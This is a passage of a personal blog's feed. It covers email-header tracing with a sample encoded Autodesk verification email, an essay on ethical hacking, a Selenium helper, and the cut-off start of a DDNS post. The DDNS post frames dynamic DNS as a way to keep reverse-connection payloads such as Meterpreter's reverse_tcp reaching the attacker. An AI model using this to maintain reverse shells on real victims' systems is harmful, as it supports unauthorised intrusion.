&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgIDwhW2lmICFtc29dPg0KCQkJCQkJCSAgICAgPHRhYmxlIGJvcmRlcj0iMCIgc3R5bGU9Im1h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cmdpbi10b3A6MzJweDttYXJnaW4tYm90dG9tOjQ4cHg7d2lkdGg6IDEwMCU7IiBjZWxsc3BhY2lu&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Zz0iMCIgY2VsbHBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiA+DQogICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICA8dHIgPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgPHRkID4NCgkJCQkJCQkgICAgICAgICAgPHRhYmxlIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dC1hbGlnbjogY2VudGVyO3ZlcnRpY2FsLWFsaWduOmNlbnRlcjsgY29sb3I6ICNmZmY7IGRpc3Bs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YXk6IGJsb2NrOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgPGEgc3R5bGU9ImNvbG9yOiNmZmYgIWltcG9ydGFudDtwYWRkaW5n&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;OiAxNnB4O2hlaWdodDo1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwNjk2RDc7Zm9udC1zaXplOjE5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtmb250LWZh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;bWlseTogJ09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVsdmV0aWNhLEFyaWFsLCBTYW5z&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LVNlcmlmIiBocmVmPSJodHRwczovL2FjY291bnRzLmF1dG9kZXNrLmNvbTo0NDMvdXNlci92ZXJp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZnllbWFpbC8zOWRjNjA2OGJhODAzNzZlNWFjZmE3Y2I5YTdkNTBkMzcxMzc0YzIzP3JlZmVycmVy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PWh0dHAlM0ElMkYlMkZ3d3cuYXV0b2Rlc2suY29tJTJGZWR1Y2F0aW9uJTJGZnJlZS1zb2Z0d2Fy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZSUyRmludmVudG9yLXByb2Zlc3Npb25hbCZwcm9kdWN0bmFtZT1kb3Rjb20mdWl0eXBlPWVkdWNh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dGlvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWRVJJRlkgRU1B&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SUwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KCQkJCQkJCSAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQogICAgICAgICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICA8IVtlbmRpZl0+DQoJCQkJCQkgICA8L3A+DQoJCQkJICAgICAgICAgICANCgkJCQkgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICA8cCBzdHlsZT0id29yZC13cmFwOmJyZWFrLXdvcmQ7IGRpc3BsYXk6IGJsb2NrO2ZvbnQt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;c2l6ZTogMTJweDtmb250LWZhbWlseTogJ09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dmV0aWNhLEFyaWFsLCBTYW5zLVNlcmlmO2ZvbnQtd2VpZ2h0OjQwMDtsaW5lLWhlaWdodDoxLjYi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Pg0KCQkJCQkgICAgICAgICAgICBJZiB0aGUgbGluayBhYm92ZSBkb2Vzbid0IHdvcmssIHlvdSBj&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YW4gY29weSBhbmQgcGFzdGUgdGhlIGZvbGxvd2luZyBpbnRvIHlvdXIgYnJvd3Nlcjo8YnIvPg0K&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;CQkJCQkgICAgICAgICAgICBodHRwczovL2FjY291bnRzLmF1dG9kZXNrLmNvbTo0NDMvdXNlci92&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZXJpZnllbWFpbC8zOWRjNjA2OGJhODAzNzZlNWFjZmE3Y2I5YTdkNTBkMzcxMzc0YzIzP3JlZmVy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cmVyPWh0dHAlM0ElMkYlMkZ3d3cuYXV0b2Rlc2suY29tJTJGZWR1Y2F0aW9uJTJGZnJlZS1zb2Z0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;d2FyZSUyRmludmVudG9yLXByb2Zlc3Npb25hbCZwcm9kdWN0bmFtZT1kb3Rjb20mdWl0eXBlPWVk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dWNhdGlvbg0KCQkJCSAgICAgICAgICAgIDwvcD4NCiAgICAJCQkgICAgICAgIDwvdGQ+DQogICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQogICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDwvdGFibGU+DQog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgIDwvdGQ+DQoJPC90cj4NCiAgICA8L3RhYmxlPg0KCTx0YWJsZT4NCgk8dHI+DQogICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgIDx0ZCBzdHlsZT0iY29sb3I6ICM5OTk7IGZvbnQtc2l6ZTogMTJweDsgZm9udC1mYW1pbHk6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;J09wZW4gU2FucycsICdIZWx2ZXRpY2EgTmV1ZScsIEhlbHZldGljYSxBcmlhbCwgU2Fucy1TZXJp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Zjtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MS42Ij4NCiAgICAgICAgPHAgc3R5bGU9Im1h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cmdpbi10b3A6IDE2cHg7IHBhZGRpbmctdG9wOiAwO21hcmdpbi1ib3R0b206MHB4Ij4NCiAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgQXV0b2Rlc2sgcmVzcGVjdHMgeW91ciBwcml2YWN5LiAgRm9yIG1vcmUgaW5mb3Jt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YXRpb24sIHBsZWFzZSByZXZpZXcgb3VyIDxhIGhyZWY9Imh0dHA6Ly91c2EuYXV0b2Rlc2suY29t&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;L3ByaXZhY3kvIj5Qcml2YWN5IFBvbGljeTwvYT4uDQogICAgICAgPC9wPg0KCSAgIDxwICBzdHls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZT0ibWFyZ2luLXRvcDogMDttYXJnaW4tYm90dG9tOiAwOyBwYWRkaW5nLXRvcDogMDtjb2xvcjog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Izk5OTsgZm9udC1zaXplOiAxMnB4OyBmb250LWZhbWlseTonT3BlbiBTYW5zJywgJ0hlbHZldGlj&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YSBOZXVlJywgSGVsdmV0aWNhLEFyaWFsLCBTYW5zLVNlcmlmO2ZvbnQtd2VpZ2h0OjQwMDtsaW5l&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LWhlaWdodDoxLjYiPg0KCSAgICA8cCBzdHlsZT0icGFkZGluZzogMDsgbWFyZ2luOiAwOyI+DQog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICZjb3B5OyBDb3B5cmlnaHQgMjAxNiBBdXRvZGVzaywgSW5jLiBBbGwgcmlnaHRzIHJlc2VydmVk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Lg0KPC9wPgkgICA8L3A+DQogICAgICAgIDwvdGQ+DQogICAgICA8L3RyPg0KCTwvdGFibGU+DQog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IDwvYm9keT4NCjwvaHRtbD4=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The part before the first empty line is the header of this email, and after that the rest is body. Here you can see that the body part looks like some incomprehensible garbage, that’s because it is a MIME message, and the garbage part is actually HTML data encoded by Base64 encoding. You can decode it using any of the Base64 decoder found online and get the HTML data. Anyway, we are going to focus on the header part, because all other critical information resides in there, the body part contains just the message.&lt;/p&gt;
&lt;p&gt;We can see the header part consists of header fields, each header field consisting of a field name and field value separated by a colon ‘:’. for example a header field of this email is —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Delivered-To: john.doe@gmail.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where ‘Delivered-To’ is the field name and ‘&lt;a href=&quot;mailto:john.doe@gmail.com&quot;&gt;john.doe@gmail.com&lt;/a&gt;’ is the field value. Just to be clear, I replaced my original email ID with ‘&lt;a href=&quot;mailto:john.doe@gmail.com&quot;&gt;john.doe@gmail.com&lt;/a&gt;’ here.&lt;/p&gt;
&lt;p&gt;The header section can contain any number of information in this format, there is no restriction. So there can be different header fields in various emails. But there are certain fields that are mandatory, and those contain the information we need to trace the mail. You can read about various email header fields &lt;a href=&quot;https://en.wikipedia.org/wiki/Email#Header_fields&quot;&gt;here&lt;/a&gt; on Wikipedia.&lt;/p&gt;
&lt;h2 id=&quot;tracing-an-email&quot;&gt;Tracing an Email&lt;/h2&gt;
&lt;p&gt;Now that we know the basics of the &lt;em&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc5322&quot;&gt;Internet Message Format&lt;/a&gt;&lt;/em&gt;, it’s time we dive into the fun stuff, tracing the email. For that, we need to concentrate on the &lt;em&gt;Trace fields&lt;/em&gt;, so to speak. They contain the information needed to trace it, obviously. The trace fields are —&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Received&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Return-Path&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Authentication-Results&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Received-SPF&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Auto-Submitted&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;VBR-Info&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Among these, the &lt;em&gt;Received&lt;/em&gt; field is the most important and most reliable. When an SMTP server receives a message it inserts this header at the top of the message. And as most emails go through several SMTP servers in the journey from the sender to receiver, it contains several Received fields, each one inserted by different SMTP servers. In the example email the Received fields are:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: by 10.200.55.226 with SMTP id e31csp1128773qtc;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        Tue, 18 Oct 2016 09:50:19 -0700 (PDT)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Received: by 10.107.131.213 with SMTP id n82mr2118112ioi.125.1476809419401;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        Tue, 18 Oct 2016 09:50:19 -0700 (PDT)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: from o6.em.email.accounts.autodesk.com (o6.em.email.accounts.autodesk.com. [167.89.4.107])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        by mx.google.com with ESMTPS id g126si21395826ioa.252.2016.10.18.09.50.19&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        for&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        Tue, 18 Oct 2016 09:50:19 -0700 (PDT)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: by filter0958p1mdw1.sendgrid.net with SMTP id filter0958p1mdw1.2775.580652C7AF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        2016-10-18 16:50:15.915852162 +0000 UTC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: from ECPRID2AWEB004 (ec2-52-4-196-162.compute-1.amazonaws.com [52.4.196.162]) by ismtpd0006p1iad1.sendgrid.net (SG) with ESMTP id aIawJW2DTFi0CgbichcKJg for ; Tue, 18 Oct 2016 16:50:15.917 +0000 (UTC)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As SMTP servers insert the Received field at the top of the email when they receive it, if we read them from top to bottom we can trace the path through the email has travelled. The field value of the Received header field generally contains the host name or IP address of itself and the host name or IP of the server from which it received the mail.&lt;/p&gt;
&lt;p&gt;Another thing to note here, I’ve also listed the &lt;em&gt;X-Received&lt;/em&gt; header field. Any field starting with &lt;em&gt;X&lt;/em&gt; is a non-standard header and it cannot be trusted. It’s used by mail servers for their own benefit, generally a servers won’t trust X headers inserted by any other server. Anyway, I’ve still included this because it may give us some additional information, keeping in mind that it is not very reliable. So from the &lt;em&gt;Received&lt;/em&gt; (and &lt;em&gt;X-Received&lt;/em&gt;) fields of the example mail, we can trace the route of the mail, and it would look like this&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ec2-52-4-196-162.compute-1.amazonaws.com [52.4.196.162]&lt;/li&gt;
&lt;li&gt;ismtpd0006p1iad1.sendgrid.net&lt;/li&gt;
&lt;li&gt;filter0958p1mdw1.sendgrid.net&lt;/li&gt;
&lt;li&gt;o6.em.email.accounts.autodesk.com&lt;/li&gt;
&lt;li&gt;mx.google.com&lt;/li&gt;
&lt;li&gt;10.107.131.213&lt;/li&gt;
&lt;li&gt;10.200.55.226&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The email went through these servers in this order. So the mail server that actually sent the email is the first one, and if you were after that one for reasons, you can focus on that.&lt;/p&gt;
&lt;h2 id=&quot;automated-tracing&quot;&gt;Automated Tracing&lt;/h2&gt;
&lt;p&gt;Although it’s good or maybe essential for a hacker to know how to manually trace an email, you don’t have to do it every time. There are many tools in the Internet that automate this process. You just have to paste the email header in those tools and they will trace the route of it. Just search email header analyser in Google and you’ll get a lot of tools like this. There’s one made by Google itself, you can get it &lt;a href=&quot;https://toolbox.googleapps.com/apps/messageheader/&quot;&gt;here&lt;/a&gt;. Happy hacking!&lt;/p&gt;
</content:encoded></item><item><title>Ethical Hacking and The Hacker Culture</title><link>https://sumit-ghosh.com/posts/ethical-hacking-and-the-hacker-culture/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/ethical-hacking-and-the-hacker-culture/</guid><description>Ethical Hacking and The Hacker Culture — by Sumit Ghosh.</description><pubDate>Fri, 30 Dec 2016 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Nowadays most of us have heard the term Ethical Hacker due to &lt;em&gt;hacktivist&lt;/em&gt; groups like &lt;em&gt;Anonymous&lt;/em&gt; gaining popularity in the media. But what exactly is Ethical Hacking? We have a general idea that it means hacking without any malicious intent, or more simply the kind of hacking the “good guys” do. But if we delve deeper, it means more than that, it represents a philosophy and morality popular among the hacker and hacktivist communities.&lt;/p&gt;
&lt;h2 id=&quot;definition&quot;&gt;Definition&lt;/h2&gt;
&lt;p&gt;Formally Ethical Hacking may be defined as the practice of systematically attempting to break into or penetrate for the purpose of locating weaknesses and vulnerabilities of the computer system by duplicating the actions of malicious black-hat hackers. Actually, what I just said defines &lt;em&gt;Penetration Testing&lt;/em&gt;, to be precise &lt;em&gt;Ethical Hacking&lt;/em&gt; is a term coined by IBM meant to imply a broader category than just penetration testing. Ethical hackers do this &lt;em&gt;penetration testing&lt;/em&gt; on the request of or by being employed by the owner of the computer system so that he can fix these weaknesses and make the system more secure.&lt;/p&gt;
&lt;h2 id=&quot;philosophy&quot;&gt;Philosophy&lt;/h2&gt;
&lt;p&gt;Ethical hackers generally follow a set of moral values and philosophy. They promote sharing of knowledge, they believe that all information should be free. They also believe bureaucracies such as corporates are flawed systems, they promote decentralization so that may lead to freedom of information exchange. They say that hackers shouldn’t be judged by their age, race, or qualifications, they should only by judged by their hacking skill. A common value of community and collaboration is also present among the hackers.&lt;/p&gt;
&lt;p&gt;I should emphasize that being an ethical hacker doesn’t necessarily mean having these qualities and following these moral values and philosophies. Hacker ethics are separate from just being a hacker. But these ethics are very popular among the general hacking community and so it may be considered as a trait of the community, maybe not of an individual hacker.&lt;/p&gt;
&lt;p&gt;Before concluding I would like to share a small essay written by a hacker by the name (rather pseudo name) of ‘The Mentor’ shortly after being arrested. It’s called ‘&lt;a href=&quot;http://www.phrack.org/issues/7/3.html&quot;&gt;The Hacker Manifesto&lt;/a&gt;’, and is considered one of the cornerstone of the hacker culture. You can find it &lt;a href=&quot;http://www.phrack.org/issues/7/3.html&quot;&gt;here&lt;/a&gt; — &lt;a href=&quot;http://www.phrack.org/issues/7/3.html&quot;&gt;http://www.phrack.org/issues/7/3.html&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Starting Up Selenium Webdriver with Custom User-Agent and Profile in Python</title><link>https://sumit-ghosh.com/posts/python-selenium-webdriver-with-custom-user-agent-and-profile/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/python-selenium-webdriver-with-custom-user-agent-and-profile/</guid><description>Starting Up Selenium Webdriver with Custom User-Agent and Profile in Python — by Sumit Ghosh.</description><pubDate>Sat, 05 Mar 2016 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been playing around with Selenium Webdriver in Python, and one of the most annoying thing I had to do again and again is looking up how to start a specific Webdriver with a custom user-agent or with a custom profile. So I decided to make this module which will take care of all the little inner workings involved while starting up a Webdriver.&lt;/p&gt;
&lt;p&gt;The code is &lt;a href=&quot;https://github.com/SkullTech/webdriver-start&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You’ll just have to use the &lt;code&gt;start_webdriver&lt;/code&gt; function, and it will do all the magic and return the required Webdriver.&lt;/p&gt;
&lt;h3 id=&quot;example-usage&quot;&gt;Example Usage&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; wdstart&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;driver &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; wdstart.start_webdriver(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;driver_name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Chrome&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;user_agent&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19(KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;profile_path&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;C:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Users&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;SkullTech&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;AppData&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Local&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Google&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Chrome&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;User Data&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Although in most cases you won’t have to worry about what’s happening under the hood—they are not at all important and can be found out with a simple Google search, but still if you want you can read the code thoroughly and use part of it in your code.&lt;/p&gt;
&lt;p&gt;Please leave a comment if this helped you or you’ve faced any problem. Thanks.&lt;/p&gt;
</content:encoded></item><item><title>Use DDNS to Deal With Your Dynamic Public IP</title><link>https://sumit-ghosh.com/posts/use-ddns-to-deal-with-your-dynamic-public-ip/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/use-ddns-to-deal-with-your-dynamic-public-ip/</guid><description>Use DDNS to Deal With Your Dynamic Public IP — by Sumit Ghosh.</description><pubDate>Sat, 05 Mar 2016 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Many of us have an internet connection with a dynamic public IP. That poses some problems if you want to use that connection to host a website, or maybe for hackers like us, to hack using reverse connection payloads. I’m going to discuss in this post how you can overcome that using Dynamic DNS or DDNS. But I’m getting ahead of myself, so let me start by explaining what is public IP and what are some problems you can encounter if you have a dynamic one.&lt;/p&gt;
&lt;h2 id=&quot;understanding-dynamic-public-ip-address&quot;&gt;Understanding Dynamic Public IP Address&lt;/h2&gt;
&lt;p&gt;Public IP is the IP that’s visible to machines outside your local network. For example, if two or more machines are connected through a router—maybe through Wi-Fi—to the internet, then the machines are in a local network, as well as both of them are connected to the Internet. Each of them has a locally unique private IP address, not globally. For connecting to the Internet they use the router’s public IP.&lt;/p&gt;
&lt;p&gt;IP addresses can be static or dynamic. Most of the ISPs provide dynamic public IP, that means it changes from time to time, contrary to the static one, which remains fixed. You can check what’s your public IP by googling “What is my IP”, Google will tell you.&lt;/p&gt;
&lt;p&gt;Having a dynamic IP address is a hindrance to hacking using reverse connection payloads. Reverse connection payloads, such as &lt;code&gt;android/meterpreter/reverse_tcp&lt;/code&gt;, store the host IP address, i.e. the IP address of the attacker machine. When it gets executed, it connects back to the host machine by the reference of that host IP. But as dynamic IP keeps changing from time to time, you won’t be able to use a payload for a long time because after some time the IP stored inside it won’t point to your machine anymore. That’s a problem — a major one. This is where DDNS comes in.&lt;/p&gt;
&lt;h2 id=&quot;dynamic-dns-aka-ddns-to-the-rescue&quot;&gt;Dynamic DNS aka DDNS to The Rescue&lt;/h2&gt;
